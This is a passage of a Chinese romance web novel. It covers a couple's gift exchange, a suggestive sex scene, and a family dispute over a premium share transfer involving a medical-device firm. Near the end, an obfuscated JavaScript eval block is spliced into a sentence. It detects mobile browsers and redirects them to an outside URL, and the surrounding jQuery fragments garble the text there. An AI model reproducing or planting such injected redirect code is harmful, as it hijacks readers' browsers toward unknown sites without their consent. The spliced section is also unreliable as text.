然后才好整以暇地解释道:“方小姐你思想不要太复杂好不好?这个东西就是起源于17至18世纪的一件正常的服装配饰而已,最开始还是给贵族男性穿的,20世纪以后才成为女性专属,性感是性感了点,但我买的这个Sale说是巴黎时装周的秀款,很多女明星都当做时尚单品做搭配用的,跟你想象的情趣和涩欲,根本挂不上钩。” 小初咬了咬唇,感觉他这一大段话翻译过来只有六个字——方太初是傻瓜。 “还有,谁让你限定金额两千块的,我进的那家店最便宜的东西就是它了,再贵就要超支了。” 余萧弋一本正经,“再说,你不觉得我买的这个款式很酷吗?方小姐你还擅长射击,想象一下,你穿着白色的纯棉衬衫裙,领口散着三颗纽扣,绑带皮质腰封配同款袜带,谁多看你一眼你就给他一颗子弹,分分钟化身邦女郎,帅死了好不好?” 小初眯了眯眸子,呸了一声,“我要真有子弹,你现在已经没有机会跟我说话了。”顿了顿,她又捏住他的下巴,“还在狡辩,他们家都有两千块以下的吊带袜,就没有两千块以下的丝巾,胸针和手套吗?” 余萧弋挑了挑眉,“那你买的那家店就没有两千块以下的领带,袜子和袖扣吗?为什么偏偏选它?” 小初就等他这句话呢,下一秒,就松开手从袋子里掏出他刚刚提到的那几样东西来,一件接一件扔进他怀里,“好问题。喏,你睁开你的眼睛看仔细了啊小余总,袖扣八百,领带五百,袜子两百,算上你手里那两条袖带,刚好两千。” “……”余萧弋回过味来,实在没按捺住,用手指戳了戳她的脸,“你给我挖坑?” 小初得意非凡,“那又怎样?谁让你这么涩?” “我涩?”余萧弋难以置信,“你倒给我说说,你买这个东西的时候,难道就没有一点其他想法吗?” “当然没有!”小初义正辞严,“我坦荡得很!人家店里的模特也只是用它来固定宽松的衣袖的好不好?你不是有很多休闲衬衣和毛线衣吗?回头你做饭做家务的时候,我就用这个东西帮你把衣服绑起来,不知道有多方便!” 余萧弋被气笑。 小初斜睨他:“你还不服气。” “当然不服气。”余萧弋一副你给我等着的神色,然后缓缓从裤子口袋里将另外几样东西掏出来,“戒指五百,还是戒指三百,手链六百,还是手链四百,再加上你手里那条吊带袜,刚好两千。” 小初瞪大眼睛,看着他把一样样东西套在她的手指和手腕上,实在没想到他还有后招等着她,陷入瞬间的混乱,“Theo余,你是不是在侮辱我的智商?当我看不出这几件东西的品牌?” 余萧弋笑,为了赢已经不择手段,“我买的是假货。” 小初无语,“这么大一间商场敢卖假货,你告诉我是哪一家,我要去投诉。包装呢?” “扔了。”余萧弋弯起眼角,下一秒,就双手捧住她的脸快意吻上来,几天来笼罩在心头的阴霾消散无踪,“你嘴唇好干,我帮你润润。” 他柔软的舌尖温柔辗转在她无助的唇瓣上,口中热带水果的香气好甜。 小初被吻得意乱情迷,却还没忘记问他,“所以你买那个东西,真的不是因为你觉得我的腿很好看,很性感吗?” 余萧弋所有的注意力都在她的唇上,非常含糊地“嗯”了一声。 “好啊。”小初一把推开他,终于得逞,“余萧弋,我就知道你不会无缘无故嫌弃我的粤语发音的,原来是你早觉得我没有吸引力了!” “嗯?”余萧弋眼底的欲仍在氤氲,以至于,他甚至都没有在第一时间听懂她在说什么。 “什么时候量的我的手指维度?” “上次你累得在我怀里睡着的时候。” “……”小初呼吸滞涩了一下,“可是,你超支了。” “这是送你通过司法考试的礼物。”他拥住她,声音逐渐落寞下来,“方太初,你真的好优秀,这样的你,到底要我怎么追,才能追得上?” 小初不明所以,“你不是已经追上了吗?” “那如果有一天,你发现我没有你想象得那么纯粹,你会失望吗?会不要我吗?” 小初安慰地拍了拍他的背,“我早说了,我方太初的处事法则是,落棋无悔。” 余萧弋抿唇,“可是你也说了,一旦发现我不符合你的预期,就会把我当变量调整掉的。” “你又不是变量。” “那我是什么?” 小初不假思索,“你是模型本身,为了证明我生命中某种意义而存在的,独一无二的,模型本身。” 余萧弋的身体一颤,眼尾在她看不到的地方,蓦地变得很红。 给港港和Enzo做美容的宠物店技术果然好,就这么一会儿的功夫,两小只就变得香香软软,有型有款。 小初和余萧弋一起给两个宝宝选了一堆衣服零食和玩具,并亲自给它们换上。 港港得到的是一套浅蓝格子的甜美小裙子,小Enzo得到的则是一件同款的衬衫,领口还配了领结,绅士感十足。 “Theo余,你觉不觉得它们俩像在穿兄妹装?” 余萧弋温柔浅笑,“嗯,确实像。” 而后又贴到她耳边,轻声说道:“将来我们也生一对兄妹,给他们这样穿兄妹装好不好?” 小初抬眸,给了他一个“你再胡说我就要揍你了啊”的眼神。 余萧弋也不躲,只是笑着俯身把两小只都抱在了怀里。 两人驱车来到小初公寓楼下。 然后她才想起件事来,“之前给爷爷的智能音箱寄过来了,比原定晚了几天,你要不上去跟我拿一下?” 余萧弋愣了愣,有点不敢相信,“我可以吗?” 小初不知怎么有些酸涩,“为什么不可以?” “这里不是我的禁区吗?” “那刚好,上来帮我测测是不是真的存在那个禁制。” 小初其实想知道很久了,她爸说会有人二十四小时盯着她的动向这件事,到底是真的还是在吓唬她。 这段时间她又是留宿余珺彦,又是连着两三天没回来住的,也没见北京那边有什么动静啊。 两人一出电梯,还没等电子门锁做完人脸识别,曹旸就从对门走了出来,看到两人身影,她极为意外,“小姐你……” 她下面想说的话本来是,“怎么把他带回来了?” 但这么说未免太不礼貌,紧急改成了,“你们回来了?” 小初还未说话,余萧弋就更意外地瞪大了眼,“你们这,租的是两套房子?” “对啊。”小初终于推开门,“我爸妈嫌房子面积太小了。” “哦。”余萧弋眉心一动,唇角的弧度藏都藏不住了。 “我之前没跟你说吗?” “没。” 小初看了眼他那一脸捡了钱似的愉快神色,有点不太懂,“你在开心什么东西?” “我开心了吗?”他漫不经心的,“我只是觉得,方叔叔好英明。” “得了吧。”小初瞥了眼头顶的摄像头,“他又不在这,你说他好话他也听不见,就算听见了也未必领你的情,你还是省省吧。” 曹旸的目光落在余萧弋怀里的两小只身上,“这就是你之前说的港港和Enzo吗?” 小初炫耀,“怎么样,可爱吧?” 曹旸点头,根本移不开眼,“好像两个毛绒公仔。” 看见可爱的事物,连冰川都难免出现融化痕迹。 小初笑出声,“那借你玩会,顺便让阿姨给它们喂一点纯净水。”说完又俯身面向两小只,“你们先跟漂亮阿姨玩会儿啊,daddy和mummy一会儿就来接。” 曹旸伸手,抱过它们。 两小只倒是不怎么怕生,也没抗议,就跟着去了。 余萧弋亦步亦趋跟小初来到客厅,还没忘记刚才的话题,“你爸被你说得像个暴君。” “怎样你害怕了?”小初把他按坐在沙发上,问他,“想吃什么吗?冰箱有水果蛋糕和酸奶什么的。” 余萧弋做了个很委屈的表情,“有点害怕,可是再怕也得面对啊,谁让我非他女儿不可呢?” 小初瞪他一眼,“你少来。”又说,“我问你呢,水果吃吗?” “不吃。”余萧弋大刀阔斧倚在沙发上,看了看四周的环境,“宝贝你这里好舒服。” “我的意思是我想吃,你能去洗吗?” “……”余萧弋被她气笑,“下次你直接发出指令好吗,不然我可能听不懂。” 小初不信,“小余总长了这么一颗玲珑心,还有听不懂的话?如果有,那就是你装的。” 余萧弋愣了愣,问她,“我在你心里,竟然是这个形象吗?” 小初没听懂,“不然呢?” “我以为我在你这里,已经够真诚和直白了。”他脸上的愉快一寸寸地褪去,“可能确实从小见惯太多虚与委蛇了,所以已经渐渐变成自己最讨厌的人的模样了。” 气氛逐渐微妙。 小初径直走过去,坐到他身边用自己的手覆住他的,“玲珑和真诚是一对矛盾体吗?能用更让人舒服的方式表达真诚,是你与生俱来的能力,也是你独一无二的魅力好吗?我只是怕你太累,为了照顾别人的感受总是压抑自己的情绪。余萧弋,你也是个人,你也有不开心不耐烦不想理全世界的权利,不用在我面前硬撑着。” 一股不知名的酸涩涌上来,余萧弋反握住她的手,“真的吗?” “最近是不是遇到了什么难缠的事?” 他点头:“嗯。” “很辛苦是不是?” 余萧弋直言,“有点,但身体辛苦并不是最累的部分,主要是心累,偶尔会自我厌弃。” “不许你自我厌弃。”小初神色极为认真,“我长这么大就没见过几个比你更好的人了。” 余萧弋的眼泪这下是真的控制不住了,整个眼底都是红的,“你在哄我,是吗?” “没有。” “那就是你太年轻,见过的人太少了。” 小初吻去他的眼泪,“我早慧啊哥哥,我爸妈的世界其实挺精彩纷呈的,所以我见过太多形形色色的人了。说实话,生活中的大多数人,劣根性都挺强的,而且伪装得很拙劣。知道我为什么喜欢智性恋吗?就因为真拥有智慧的那些人,思想都是浩瀚而包容的,能用最简单的方式去总结和处理最复杂的事情。其实你只要想通一点,就不会痛苦了。” 余萧弋差不多是已经惊呆了,完全没想到这番话会从一个二十岁的女孩子嘴里说出来,但他还是下意识问了句,“想通什么?” “你何须计较,又凭什么不计较。” “我都被你绕晕了。” 小初安慰道,“因为人就那样,没开智的大多数就是在浑浑噩噩地活着而已,你跟他们计较什么?然后你不爽的时候再换个角度想,你又凭什么被这些浑浑噩噩充满劣根性的人欺负到头上?想回击就回击好了,他们惹了你,又挡不住你的回击,是他们活该。你又不是上帝,为什么要对得起所有人。就算上帝他自己,也没做到吧?” 余萧弋止住眼泪,“这就是方小姐你的 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“我要赚钱,赚很多钱去支持人类发展航天事业,征程宇宙。”她目光灼灼,“这也是我从小的梦想。” 余萧弋握住她的手,“好,我支持你。” 小初弯唇,“那你不许再内耗了啊。” 他说好。 “那你去把水果洗了行吗?” “……好。”余萧弋脱掉西装外套,解开袖扣,问她,“冰箱里都有什么,你又想吃什么?” “我想吃草莓。” “草莓?哦,士多啤梨是吧。” “别管那个。”小初目光逐渐深邃,从袋子里拿出那个袖带,不由分说帮他缚在他的上臂上,直至那里肌肉的轮廓逐渐显现出来。 她的呼吸已经在对视中乱了节奏,但仍强自撑着,“你看,我就说这个很实用吧?这样干活就不会弄湿衣服了。” 余萧弋垂眸,很无奈地咬咬唇角,却也没有拆穿她的小心思,“很是。” 很快两人就一边吃草莓一边坐在客厅边的地毯上测试起那个智能音箱来。 送给他的那个对话情境是—— “小初小初。” “在呢哥哥,你今天开不开心?需要我帮你做什么吗?” 送给余绍鸿那个则被设定成了粤语,虽然也是她的声音—— “小初小初。” “嗯我在!爷爷今天又赚了好多好多钱吧,但赚钱之余最紧要还是要保重好身体哦。” 她嘱咐他,“你千万别给弄反了啊,你的那个我给你贴了个爱心的贴纸。” 余萧弋喂了一颗草莓给她,眸色已经深得不行,开口模拟对话情境,“小初小初,你今天开心吗?需要哥哥为你做什么吗?” 小初手里摆弄着那个音箱的包装盒,一开始还没get到他在说什么,直至不小心目光对上,她才后知后觉,忽地红了脸,“什么?” 人后来是被他抱到卧室去的。 因为她这里没有准备小雨伞,所以只能委屈他淋淋雨了。 到最后,场面还是失控了。 “你不是说有了这个东西……”他的目光落在她不肯他摘掉的袖带上,声音里是极度被压制着的嘶哑,“就不会弄湿袖子了吗?” 每次用力时,那根带子都勒得他有点疼,却也有种莫名的愉悦感。 小初的身体已经在反反复复中不知到了几次极限,每个细胞的细胞液都在细胞壁两侧来回着,空虚和充盈,像是一种刑罚,不断折磨着她,直至心理防线崩溃到底。 又一次。 床单已经不能看了。 余萧弋低头埋进她的颈窝与她耳鬓厮磨着,试图让她的愉悦无限延长。 感受着她身上不知名的香,随着她剧烈的喘息,蔓延入他身体的每个角落。 理智终于回归。 太危险了,如果真的有人在摄像头后面看着她,肯定已经发现他在她的私人领地逗留太久了。 “今天为什么这么兴奋?” 余萧弋用湿漉漉的手指,坏心地抚了抚她的唇角。 小初在余韵中将他的领带缠在手指上,小声说道,“我喜欢男人系窄版领带的样子。” “……” 只是因为这个吗? 最后的验证结果是,余萧弋带着港港和小Enzo刚离开没十分钟,小初就收到了他爸发来的微信,说已经帮她订了后天一早的机票回北京,让她回来参加她的数学研究中心的挂牌仪式。 她怔愣了一下,【不是说寒假吗?】 【提前了。】 方协文就说了这三个字,就没再理她。 小初的心思千回百转,也没确定仪式提前究竟和余萧弋突破他给她圈的禁制有没有本质上的联系。 后面她实在太累了,也懒得再细想,又不好大半夜喊阿姨过来换床单,就那么往旁边挪了个干爽的位置伴着空气里浮动的荷尔蒙味睡着了。 后半夜醒来上厕所,她才想起来给余萧弋打电话,告诉他东南亚去不成了,叫他机票还没买的话就不要买了,买了也只能退掉了。 “方小姐,下次再给我开空头支票试试。”他回去连着看了好几个小时的酒店信息,脑子都要炸了,好容易挑了个他满意的,她就这么对他? 太坏了。 “对不起嘛,我是真有正事,亦方的数学研究中心挂牌,我不参加不行。”小初撒娇,“你不会生气的吧,亲爱的。” 亲爱的。 她很少这么叫他,到底没控制住上翘的嘴角。 算了,看在这三个字的份上,他就原谅她一次好了。 然后下一秒…… 她就开始得寸进尺。 “提前跟你说一下,我可能要把梁培风一起带回去,因为方总已经决定提前签他入职了。” 余萧弋气得直接挂了电话。 半分钟后,到底沉不住气,还是乖乖给人家回了过去,“方太初你欠我一次。” 小初抱了抱怀里的枕头,好脾气的,“好,我欠你一次。” “那明天跟我回余宅吃饭好吗,顺便把音箱给爷爷拿过去。” “行吧。” 都说了欠他一次了,她还能怎么样。 反正余宅,她迟早也要去的。 88.第 88 章 十二月二十二日,圣诞假期前的最后一个工作日。 小初意外起迟了,醒来后半晌意识都是模糊的,直至视线不小心掠过从锁骨向下延伸至脚踝的大片皮肤,她才被目之所及的画面彻底烫醒。 到处……都是吻痕,深深浅浅,不容忽视。 腿心到现在还有种说不出的肿胀感。 嗓子有点哑,腰也好酸。 很多回忆不受控制地潮水般涌入大脑,她呼吸陷入艰涩,心里某处却空得要命,才分开不到八个小时,她就又开始想念他,无尽地想念。 公正地说,他真的已经算温柔,至少,两人亲密相处这么多次,无论情动成什么样,他都从没有一次像书中写的那样,对她暴露过他身为男人的动物本性,不顾她的感受毫无节制地凶猛占有。 从来都没有。 每个动作,都是温柔珍视。 甚至于,每一次,他都会耐心十足地问她,“看着我,喜欢吗?” “要再一次吗Babe?” 只需要简单几个字,他就又可以让她的情绪起伏起来。 一个能用神性克制住动物性的,又从始至终掌握节奏感、步步引导着对方的——可怕的男人。 昨天意乱情迷时候她也有问他:“哥哥你真的不要吗?” 他明明已经到了悬崖边缘,止步或者不止步都已陷入危险境地,很难自救了,却还是叹息着摇了摇头,跟她说:“闭上眼睛,别胡思乱想。” 她不解,问他:“为什么?” 他答的是:“因为喜欢你,真的好喜欢,所以,不想你受到一点点可能的伤害。” 现在回想起来,上次在绮丽,他就已经说过类似的话——即使我死,都不允许你受到一点伤害,哪怕是流言,也不行。 她还是想不通,她到底会被什么流言伤害,难道跟他一起被狗仔曝光到媒体上,从此两人的感情都要被不相干的人评头论足还不够吗? 她连这个都接受了,还有什么不能接受? 上午有习题课,小初还是挣扎着起了床。 一边刷牙,一边翻他发过来的信息,就像平常那样,每两条之间,间隔的都是不等的时间。 比起聊天,更像是一种生活的分享,或者报备。 从确定关系的那一天起,就几乎都是他先找她,久而久之,她也习惯了等待。 【起了吗宝贝?】 【身体有没有不舒服?】 【早饭记得吃,我去上班了。】 下一条,就是他手持咖啡走进公司大楼的照片。 余氏集团的总部就在金融街,她之前路过过很多次,原以为这种建筑通常都只是外部看着高大上,没想到内部环境也这么优越。 街边蓊郁的高大乔木透过巨大的落地窗映进来,又反射在整洁如新的黑金色大理石地面上,无端给人一种生生不息又蓬勃向上的感觉。 哪怕她不是很懂风水,都莫名觉得这里风水很好,在这办公一定很发财。 余萧弋今天穿了件库珀领的白色衬衫,袖口正是她昨天买给他的那对蓝色的珐琅袖扣,看到这她实在没忍住笑意,原来他这么煞费苦心就是为了展示这个给她看啊。 于是逗他:【照片重点太多了,我一时都不知道是看窗外的树,还是你们前台帅哥的脸了。】 他回得很快:【方小姐你眼睛还OK吗,前台哪有什么帅哥?】 小初才不管他,【哦,你手里的咖啡看着也不错,想喝。】 【……】 小初走到客厅,才发现仔仔生日那天她穿过的礼服已经套了洗衣店的包装,正规规矩矩和那对粉色蓝宝石的耳饰一起叠放在沙发上,除此之外茶几上还摆着一大束花。 曹旸解释说一大早收到的,来人是个穿职业装的漂亮小姐。 小初点点头,大概已经猜到对方是谁,然后果不其然花束里还插着小卡片,上面是她再熟悉不过的字迹,特地为她写的简中文。 F.Junior, 礼服就留作纪念吧 纪念我们人生的重要时刻 答应你 以后都不会再让你痛 只给你快乐 love u forever yours Theo Yu 他的贴心让她有点想哭,但碍于曹旸在场,她还是忍住了。 赶到学校,果然迟了半节课。因为这边的假期不调休,好多人为了更好的度假体验,都是直接请假连着圣诞和元旦休十一天的。 她还能来,老师显然已经相当满意,也就没多说她什么。 教室里一半的人都不到,搞得她也有些心猿意马。 点进IG一看,她才意外发现,余萧弋那帮损友的IP竟然都还在本地,铭仔这种从加拿大专程飞回来的就不说了,池咏珊和陈嘉言是怎么回事? 仔仔生日那天不还一个说要去大溪地,一个要飞墨尔本看姐姐吗? 是谁有什么事发生吗? 小初凝神想了一下,也没想出个所以然,索性放弃了。 剩下半节课上完,中间休息时,她按习惯点开科技和财经新闻,本来只是想随便浏览一下的,不想下一秒,她就被置顶那条讯息吸引了眼球,未及多想,手指就已经点了进去。 上面说,在港股主板上市的孚邦医疗器械近期很可能就已发行股本5.69%进行大宗交易,协议的受让方,正是余氏集团旗下的一支名为掘金壹号的私募基金。 为了减少对二级市场的冲击,股东选择协议转让的方式减持股份算是常规操作,若不是余氏集团四个字,小初恐怕都不会点进来。 但她很快发现一个反常的地方,协议转让一般都是折价出让,而新闻里提及的双方拟定的价格竟然溢价5%之多,这在整个资本市场都是很罕见的交易。 一般来说,股东折价减持,会向二级市场传递负面信号也是无可避免的事,短期内一定会影响中小投资者信心。 但这个溢价转让…… 就有点耐人寻味了。 余氏集团的金融部门究竟嗅到什么有利可图的气息了。 文章里也猜测,此份协议应该跟前一段时间孚邦获得的两项专利技术可能带来的价值转化有关。 总之,这5.69%的股份可以让原股东直接套现1.98个亿,还是溢价减持的,简直是爽飞了。 小初看了看表,距离早市开盘也就还剩不到二十分钟了,她突然对这个公司产生了点兴趣。 于是给余萧弋发消息过去,【你们余氏集团和孚邦医疗该不会存在什么内幕交易吧,这不违规吗?】 那边很快就回了过来,【你怎么知道这事?】 小初笑,【新闻上写的啊,怎样,小余总有什么消息透露给我一下呗,我也跟着发发财。】 余萧弋的语气似是很无奈,【你有这边的券商账户吗?】 小初一噎,【那倒,没有。】 她感觉他更想跟她说的是——你怎么什么财都想发。 【……乖,去上课吧,中午过去接你一块吃饭。下午去看阿骢的场地赛车。】 等等,小初才回过味来,【阿骢竟是个赛车手?】 【对啊。】 小初锲而不舍,仍惦记着上一个话题,【所以,小余总要不要代我买下孚邦的股票玩一玩,反正T+0交易,我预计它今天一定大涨。】 余萧弋似是很无奈了,【宝贝,我要去开会了。而且,我必须要跟你说,它不仅不会大涨,反而马上会屠夫式暴跌,跌到你无法想象。】 上课铃声再次响起,小初抿抿唇,【好吧,那我等你吃饭。】 既然他忙,她也不好再打扰,收起手机上课去了。 【嗯,等我。】 余萧弋将手机息屏,眼角的温柔还未来得及掩藏起来,就发现余珺彦正手持一杯咖啡倚在墙边深深看着他。 “聊聊?”余珺彦朝露台方向努了努嘴。 余萧弋看了看表,“我还有事。” “耽误不了你几分钟。” 余萧弋无意识抚了抚那枚温润的珐琅袖扣,踌躇了一下,还是点了点头。 两人来到露台上,余珺彦开门见山,“那件事怎么样了,我的时间不多了。” 余萧弋抿抿唇,坦然道:“我还在想办法。” 余珺彦嘲讽一笑,“怎么,大伯和伯母还不肯撕碎在爷爷面前精心维系的兄友弟恭的虚伪面具吗?” “他们有他们的考量,他们,毕竟是兄弟。” “兄弟。”余珺彦仔细品味了一下这个词,越发觉得好笑,“你要不说,我还真不知道余家的血脉基因里还有这个东西。” 他轻轻抿了口咖啡,眸色极为漫不经心,“抱歉,是我推己及人了。你们,大概还是有这个东西的,不像我,早已无父无母孤身一人。” 外面天气不错,香港向来没有太分明的四季,但今天的阳光和风,以及风动时云层翻涌的景象,还是给了余萧弋关于秋高气爽的联想。 本来应该心情很好的。 可是看见余珺彦,他就莫名烦躁和堵心。 “所以你就是靠这番说辞诱骗方太初一步步走向你的是吗?” 蓦地提到她的名字,余珺彦有些怔愣,“什么?” “你是不是觉得你这样很有层次感?”余萧弋的指腹用力捻着衬衫硬挺的袖口,脑子里不知怎么出现都是陈九洲的声音——一千零六十二英尺。 他长这么大从没对谁起过杀心,他余珺彦,是第一个。 “一个大男人竟然要通过树立被全世界抛弃和背叛的形象来博取女人的怜爱与同情,你不觉得很丢脸吗?如果没猜错,你在郭羡如面前用的也是同一个套路吧?看上去,挺好用是吧?” 余珺彦挑了挑眉,忽而一笑,“确实好用。” 余萧弋抬眸过去,眼神沉静无波,手臂上的青筋却已耗费他全部隐忍和克制的力量。 “Theo,男人太爱一个人,魅力会丧失的。”余珺彦好整以暇将咖啡喝完,“你现在这个样子,已经变得有些不像你了,如果被方太初看见,你确定她还会爱你吗?” 余萧弋反问他:“你觉得余家的基因里没有温情,那你是怎么长大的?” “他们是为了家族声誉,而我,大概命硬。” “爷爷奶奶向来疼你。” 余珺彦讽刺,“然后把家业留给你,是吗?” “作为男人连直接表达爱和恨的勇气都没有,连自己想要什么不想要什么都不敢说,你确定羡如姐跟着你可以得到幸福吗?” 余珺彦的目光倏然变得锐利,“Theo,哥劝你,不要去试图教别人怎么做人。” 余萧弋冷哼,“既然你没人教,那我就教教你。直接点,否则即使你回到美国,哪怕表面上多么有钱,精英,实际也还是只阴沟里的老鼠,这辈子都没办法直视太阳。时间长了羡如姐会厌弃你的,再说,你都没想过你将来也是个父亲吗?你的孩子会怎么看你?” “Theo余。”余珺彦一步步走向他,现在是晨会期间,整栋大楼最忙的时候,所以露台上除了他们两个再无旁人,他并不担心被别人看见,于是他直接伸手,扯住了他的领子,灰蓝色的瞳孔深不见底,“别再试图激怒我。” “这里是公司。”余萧弋挑眉,“你要是敢在这揍我一顿,我说不定还会欣赏你。”他突然笑得很有些肆意妄为的味道,“不过我猜,你不敢。” “你怎么知道。”余珺彦的声音充满压迫感。 “因为你只会躲在阴暗的角落里,像个变态一样偷走别人的猫。” 余珺彦手上的力量渐重,神情挑衅,“可你的猫跟着我,很幸福。” “你也说了,我的猫。”余萧弋用力拂开他的手臂,整理了一下被他弄乱的领口,“它身上永远有我的标签,从来也没有真正属于你。所以幸福的也是它,不是你。” 他退后一步,“哥,你打算这辈子都这样了吗?” 余珺彦神情复杂地看了他一眼,逐渐品味出来他话中的意思来,问他,“你准备怎么做?” 余萧弋笑,“凭我的性格,当然直接做。我已经写了报告递到董事会,你应该知道吧,今天下午孚邦的人会过来签约。” 余珺彦眉心微动,“你的切入点还挺让我意外。” “那哥觉得,我这个切入点的可操作性如何?” 余珺彦蹙了蹙眉,眼底的厌恶之色尽显:“一个没有任何核心技术,全靠营销做出来的垃圾公司,竟然也能做到上市,其实我还觉得挺意外的。” “你别忘了,周颖姿就是做医疗器械市场推广出身的,五年前他们俩在一起的时候,一个有渠道,一个有钱有资源,凭这两样,很多事情没你想象的那么难。他们现在在内地也有厂,至于核心技术……” 余萧弋看了看远处的山,神色渐渐凝重,“那是因为你站在顶尖学府的视野在看问题,实际上,消耗品需要什么技术?口罩手术服你我这种外行,想做也能做,他们错就错在,不应该拿普通人的生命开玩笑,把不成熟的技术投入市场,精力和资源没有用在研发上,只想着玩资本游戏进一步收割。” 余珺彦点头,“孚邦近三年研发投入占比,还不足3%。” 余萧弋深深看他一眼,“他们想在哥这种专家眼皮底下玩资本游戏,是不是有点班门弄斧了?” 余珺彦极冷地笑了一声,“我说了你不要试图激怒我。” “都这个时候了你还不怒什么时候怒,再迟疑,杨敏之帽子都给你戴到头上去了,你应该不会不知道吧,今晚澳门将举办某电视节的颁奖典礼,那么星光熠熠美男云集的场合,杨小姐能忍住不去吗?” “……”余珺彦没好气,“闭嘴吧。” 余萧弋伸手,拍了拍他的肩膀,“听说二叔不止一次在外面宣扬,周颖姿才是他此生挚爱,如果没记错他们那个私生子,今年也有五岁多了吧?二叔实在欺人太甚,难怪婶婶三年前说什么都要跟他离婚。二叔这么做,将前面的几个孩子的尊严至于何处了。” 余珺彦没吭声。 余萧弋看看手表,“我去忙了,晚上家宴见吧。” 转身走了三四步,他才听见余珺彦轻轻喊了他一声,“Theo。” “怎么了?”余萧弋回过头去,“你直接在董事会上针对他,不怕被报复吗?孚邦那几个大股东,洗白之前,可都不是什么好人。” 余萧弋耸耸肩,“那刚好,我死了,哥你就可以顺利成章拿到一切,一箭双雕。” 一个小时后。 事情果然不出小初早晨所料,财经频道那个溢价协议转让的消息一出,孚邦的股票在二级市场上从早市开盘就一路高歌,势如破竹。 与此同时,从余氏集团高层会议上出来的陈九洲却面色凝重,对上余萧弋从茶水间门口投过去的目光,只是微不可察地摇了摇头。 他的意思很明确,老爷子还是想保。 余萧弋眯了眯眸子,其实并没有很意外。 五分钟后,余绍鸿秘书就将电话打到了工位上来,叫他到董事长办公室一趟。 作为一名从基层做起的普通员工,他当然还没有资格拥有独立的办公室。 部门同事自是都知道他是谁,但他也从没因此得到过什么特别关注和照顾,大家对他反而有点敬而远之的意思。 现在的人都很清醒,上班就是为了讨生活,没那么多真情实感,而且,公司的晋升制度也很透明,有那个时间敷衍他,还不如把更多精力放在工作上。 工作完成得好,未必会有嘉奖,但万一出现纰漏,身边有他这个姓余的,处理起来就麻烦多了。 之前同事们下班聚餐喝酒,他没事也会跟着去,结果发现他去了反而搞得大家都拘谨,没多久,他就很有自知之明地退出了。 有次跟朋友们提起此事,大家都笑,说他既影响大家上班摸鱼,又影响大家下班八卦,招人待见就怪了。谁上班的时候喜欢老板的工位就在背后啊!没病都吓出病来了好吗? 他苦笑,“所以电视剧里霸总一出场就前呼后拥都是骗人的,根本没那么多人对资本家的孩子趋之若鹜。” 池咏珊大笑:“你可以自己花钱雇。” 陈嘉言说:“Theo你自己不觉得吗?你身上自带一种温柔又疏离的屏障,很难让人接近。我们这帮人要不是从小和你一块长大,估计也不会和你成为朋友。” 他不解,“什么意思?” “就是一朵完美但没有香味的花,你懂吧?走近一看,果然,水晶做的。” 他默了默。 铭仔拍了拍他肩膀,“她在说你假呢。你说你从小到大,家世模样学习运动样样都好,又谦逊低调从来不放纵自己,一个没有缺点的人,不就是一个无趣的人吗?最要命你智商还高,谁有什么小心思小动作都逃不过你的眼睛,我请问,谁会愿意跟这样的你做朋友?” 余萧弋听了怔了半晌,最后只说了一个字,“滚。” 然后铭仔就很听话地滚了。 之前想起这些事的时候,他难免还是会有点伤心的,但现在不会了,因为懂得欣赏他,也愿意靠近他,并且能理解他所有想法的人终于来了。 他不再是没有朋友的人了。 是她让他明白,他们这样的人,只需要站在宏观的角度考虑问题就好了,其他的,根本没必要计较,他不是上帝,不需要对得起所有人,更不需要得到所有人的认可。 这样的感情,他当然,要不惜一切代价保护好。 从工位上起身的时候,周围的同事果然都明显松了口气。 他突然心情大好,笑道:“上次你们谁说的哪家餐厅的圣诞套餐很不错来着,今天中午大家一块去吧,我请。不过我人就不去了,要陪女朋友。” 大家都欢呼,说:“那就却之不恭了小余总。” “叫我Theo就好。” “好啦,谢谢Theo Yu。” 余绍鸿的办公室在顶层。 等电梯的时候,他视力太好,隔着中空的栏杆,刚好捕捉到陈九洲手捧着文件夹,往余珺彦部门方向去了。 他扯了扯嘴角,突然就笑了。 萧文然发消息过来,问他:【你在搞什么Theo余,有想法为什么不跟爸妈先沟通?】 他没回。 一进董事长办公室的门,余绍鸿就示意秘书为他们关上了门,并吩咐不许任何人进来打扰。 秘书应声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872325|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而出。 余绍鸿如鹰隼般锐利又威严的目光密不透风,仿佛能洞察人心底所有不可告人的心思。 但余萧弋正打算把他的心思向他全盘托出呢,也没害怕,甚至还自顾自坐到了茶桌前给两人都倒了茶,乖顺地问道:“爷爷喝吗?” 余绍鸿直视他,也没兜弯子,“陈九洲递上来的那份报告,是你的意思?” “是。” “你知不知道孚邦的实际控制人是谁?” 余萧弋喝了口茶,不可思议地看了余绍鸿一眼,“我姓余,当然以余氏集团的利益为先,这个项目风险这么大,孚邦的控制人是天王老子也不行啊。” 余绍鸿冷笑,“那要是你岳父呢?” 余萧弋弯了弯眼角,“我岳父没有那么蠢。” 余绍鸿无语地白了他一眼,“别跟我耍花枪。” 余萧弋笑,“我真不知。”而后神色逐渐凝重,“该不会真是我岳父吧。” “……” 余萧弋不等他回答,接着说道,“先不管这个,爷爷你到底有没有认真看我的报告啊,孚邦现在的经营状况显然已经维持不了多久的虚假繁荣了,余家何必接这个盘?” “傻仔,这是资本游戏。等锁定期一过,自会有散户为整件事买单的。” 果然不出他所料。 “他们很快就要开始在二级市场套现了吧?”余萧弋直言,“爷爷你糊涂,都不怕这件事发展成附骨之疽,我们自己也跟着万劫不复吗?” 余绍鸿没好气扔了个茶包过去打在他头上,“小子,敢骂你爷爷老糊涂了是吧?” 余萧弋嘟哝,“反正别人背后肯定也没少骂,至少我还磊落点。” 余绍鸿叹口气,如今真能跟他讲几句实话的恐怕也就这个孙子了,反观他那几个明哲保身的子女…… “孚邦的实际控制人,是你二叔。他在外面搞出的窟窿把他那点股份全部套现还未必填得上。现在那些人的枪已经抵在了他的脑门上,你让我怎么办?他万一出了岔子,欧洲这个项目大概率也要……” 余萧弋呼吸一紧,原来远不止两个亿。 不过仔细想想也是,如果只是这个数,事情倒简单了。 